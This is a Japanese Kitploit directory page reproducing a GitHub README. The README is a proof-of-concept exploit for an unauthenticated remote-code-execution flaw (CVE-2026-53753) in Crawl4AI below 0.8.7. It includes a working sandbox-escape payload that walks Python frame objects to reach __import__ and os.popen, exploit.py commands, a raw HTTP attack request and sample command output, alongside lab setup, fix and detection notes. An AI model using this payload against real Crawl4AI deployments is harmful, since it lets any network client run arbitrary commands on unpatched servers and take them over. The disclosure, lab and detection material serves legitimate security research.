Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 未認証のRCE(gi_frame.f_backを利用したASTサンドボックスエスケープ)。ラボ + PoC、エンドツーエンドで検証済み。 | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
静的分析動的分析 (サンドボックス)脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ラボと実践
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 未認証のRCE(gi_frame.f_backを利用したASTサンドボックスエスケープ)。ラボ + PoC、エンドツーエンドで検証済み。

リポジトリを見る
1ヶ月前未レビュー

CVE-2026-53753 — Crawl4AI 未認証リモートコード実行 (ASTサンドボックス脱出)

認証前RCE in Crawl4AI < 0.8.7。細工された JsonCssExtractionStrategy スキーマを未認証の POST /crawl エンドポイントに送信すると、計算フィールド評価器 (_safe_eval_expression) に到達し、Python フレームオブジェクトを介して AST 許可リストを脱出し、 本当の builtins に到達し、__import__('os').popen(<cmd>).read() を実行します。 コマンドの出力は JSON レスポンス内の インバンド で返されます。

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
影響を受けるバージョンCrawl4AI <= 0.8.6
修正バージョン0.8.7
分類CWE-94 (コードインジェクション) / Python サンドボックス脱出
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
認証なし — 出荷時の設定は jwt_enabled: false
状況確定 — 公式イメージ unclecode/crawl4ai:0.8.6 に対してエンドツーエンドで再現確認済み

目次

  1. 根本原因
  2. ペイロードの構造(行ごとの解説)
  3. なぜフレームウォークが本当の builtins に到達するのか
  4. 実験環境のセットアップ
  5. エクスプロイトの実行
  6. 期待される出力
  7. 生の HTTP リクエスト
  8. トラブルシューティング
  9. 影響 / 修正 / 検出
  10. 検証

詳細な分析: ANALYSIS.md では、ノードごとの AST ウォークスルー、 ランタイムフレームスタック、リクエストデータフロー、パッチ差分を確認できます。


1. 根本原因

crawl4ai/extraction_strategy.py では、抽出スキーマが 計算フィールド (抽出されたアイテムごとに評価される小さな Python 式)を定義できます。 これらは _safe_eval_expression() によって実行され、AST 許可リストと 削減された __builtins__ で式をサンドボックス化しようとします。

root@kitploit:~
# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # __import__、eval、open はなし
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

バリデーターは 先頭一致拒否 です。_ で始まる名前のみを拒否します(import も拒否)。 この単一のヒューリスティックがサンドボックス全体であり、完全な脱出に組み合わさる3つの穴があります。

このスキーマは 認証なし でこの関数に到達します。Docker API は security.jwt_enabled: false を出荷時設定としているため、/crawl のトークン依存性は lambda: None です。

2. ペイロードの構造、行ごとの解説

計算フィールド式は次のとおりです。

root@kitploit:~
(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

各部分の解説:

ジェネレータの値が os.popen(cmd).read() であるため、コマンドの stdout がフィールド値 となり、/crawl のレスポンスに反映されます。 これはインバンドオラクルであり、OAST は不要です。

3. なぜフレームウォークが本当の builtins に到達するのか

list(g) がジェネレータを反復している間、コールスタックは次のようになります。

root@kitploit:~
frame: _safe_eval_expression()      <-- 本当の builtins  (__import__ はここに存在)   ← f_back ×3
   └ frame: <expression> (eval)     <-- サンドボックス化された builtins (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- サンドボックス化された                           ← f_back ×1
             └ frame: <genexpr> g   <-- 実行中; g.gi_frame はこのフレーム               ← gi_frame

g.gi_frame.f_back は ジェネレータの実行中 にのみ設定されます(そのため、 ジェネレータが自身を参照し、list(g) で駆動される必要があります — まだ開始されていないジェネレータの f_back は None です)。f_back を3回 たどると _safe_eval_expression フレームに到達し、その f_builtins は 完全な builtins モジュールであり、そこから __import__ がサブスクリプトで取得されます。

このコードパスではフレームの深さは安定しています。f_back × 3 は Crawl4AI 0.8.6 の _safe_eval_expression に対して正しい値です。

4. 実験環境のセットアップ

公式イメージは脆弱なデフォルト(認証なし)を出荷しています。

root@kitploit:~
# オプション A — docker compose (通常の Docker ホスト、ブリッジネットワーク)
docker compose -f lab/docker-compose.yml up -d

# オプション B — plain docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

ブラウザプールがウォームアップするまで約20秒待ちます(docker logs crawl4ai-vuln → Application startup complete)。

5. エクスプロイトの実行

root@kitploit:~
# 送信せずにリクエスト本文を検査:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# 実行 (コマンドの標準出力がレスポンスに含まれて返ります):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py は Python 標準ライブラリのみを使用します — 依存関係はありません。

6. 期待される出力

root@kitploit:~
[*] POST http://127.0.0.1:11235/crawl  (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
    {
        \"out\": [
            \"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
        ]
    }
]" ...

out フィールドは 生きている OS の状態(id の出力、uname、コンテナの os-release)であり、リクエストのエコーではありません。uid=999(appuser) は コンテナのサービスアカウントであり、Crawl4AI ホスト 内部 でのコード実行を 証明しています。一意の echo <marker> がそのまま反映され、コマンドが実際に 実行されたことを確認できます。

7. 生の HTTP リクエスト

root@kitploit:~
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json

{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
 "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
 {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
 "fields":[{"name":"out","type":"computed","expression":"<§2 のペイロード>"}]}}}}}}
  • raw://… によりリクエストは自己完結型になります — 外部へのフェッチは不要; 攻撃者は HTML をインラインで提供します。
  • baseSelector: "div" は、計算フィールドが評価されるように要素に一致する 必要があるだけです。実際のクロールターゲットに対しては、ページに一致する 任意のセレクタを使用してください。

8. トラブルシューティング

9. 影響

デフォルトのデプロイでは、ネットワーク到達可能な任意のクライアントが 認証なし で Crawl4AI ホスト上で任意の OS コマンドを実行できます — サーバーの完全な侵害、およびサーバーが到達可能な内部リソースへのピボットが可能です。

修正

  • Crawl4AI ≥ 0.8.7 にアップグレードする(_safe_eval_expression を削除; expression 計算フィールドキーは無効化 — 代わりに、検証済みの Python 呼び出し可能オブジェクトを使用する function キーを使用してください)。
  • 多層防御: JWT を有効にする(jwt_enabled: true + api_token)、 また Crawl4AI API を信頼できないネットワークに公開しないでください。

検出

POST /crawl(および /crawl/stream)の本文に gi_frame、f_back、 f_builtins、または expression キーを持つ computed フィールドが 含まれている場合にフラグを立ててください。

開示 / クレジット

  • PoC 作成者: Caio Fabrício — github.com/BiiTts
  • 脆弱性のクレジットは元の CVE/アドバイザリの報告者に帰属します; このリポジトリは、 防御および教育目的のための独立した再現です。
  • 認可されたセキュリティテストにのみ使用してください。
ツールをダウンロード
#穴なぜ重要か
1gi_frame、f_back、f_builtins は _ で始まらないPython フレーム/ジェネレータ内省面全体にアクセス可能。
2obj['__import__'] は ast.Subscript であり、ast.Attribute ではないバリデーターは dict サブスクリプトキーを検査しないため、ダンダーキー __import__ が通過する。
3実行中の ジェネレータの f_back チェーンが、f_builtins が 本当の builtins である外部フレームに到達する削減された _SAFE_EVAL_BUILTINS から完全な builtins (__import__ など) に脱出する。
断片役割なぜバリデーターが許可するか
(lambda: ... )()関数スコープを作成し、walrus で束縛された名前が クロージャセル に格納される。ast.Lambda はチェックされない。
g := ( <expr> for i in [1])ジェネレータを g に束縛し、かつ ジェネレータ本体が g(自身)を参照する。:= とジェネレータ式はチェックされない。(Walrus は内包表記の イテラブル 内では不正なので、代わりにタプル要素に配置される。)
list(g)ジェネレータを駆動する — これにより本体実行時にフレームが ライブ になる。list は安全な builtins に含まれる。
g.gi_frameジェネレータのフレームオブジェクト。gi_frame は _ で始まらない。
.f_back.f_back.f_back3つ上のフレームに移動し、本当の builtins を持つフレームに到達する。f_back は _ で始まらない。
.f_builtinsそのフレームの builtins マッピング(本当のもの)。f_builtins は _ で始まらない。
['__import__']builtins dict から __import__ を取得する。Dict サブスクリプト — 検査されない。
('os')__import__('os') → os モジュール。呼び出し対象は Subscript であり、Name/Attribute ではない。
.popen('id').read()コマンドを実行し、その標準出力を返す。popen/read は _ で始まらない。
症状原因 / 修正
:11235 への Connection refusedコンテナがまだウォームアップ中、または Docker デーモンに使用可能な bridge ネットワークがない。Application startup complete を待つ; ポートマッピングがバインドしない場合は --network host でコンテナを実行する。
out が nullベースセレクタが要素に一致しなかった — raw:// HTML に <div> が含まれていることを確認する(または baseSelector を調整する)。
0.8.6 では動作するが 0.8.7 では動作しない想定内 — 0.8.7 では _safe_eval_expression が削除され、expression キーが完全に無効化されている(修正)。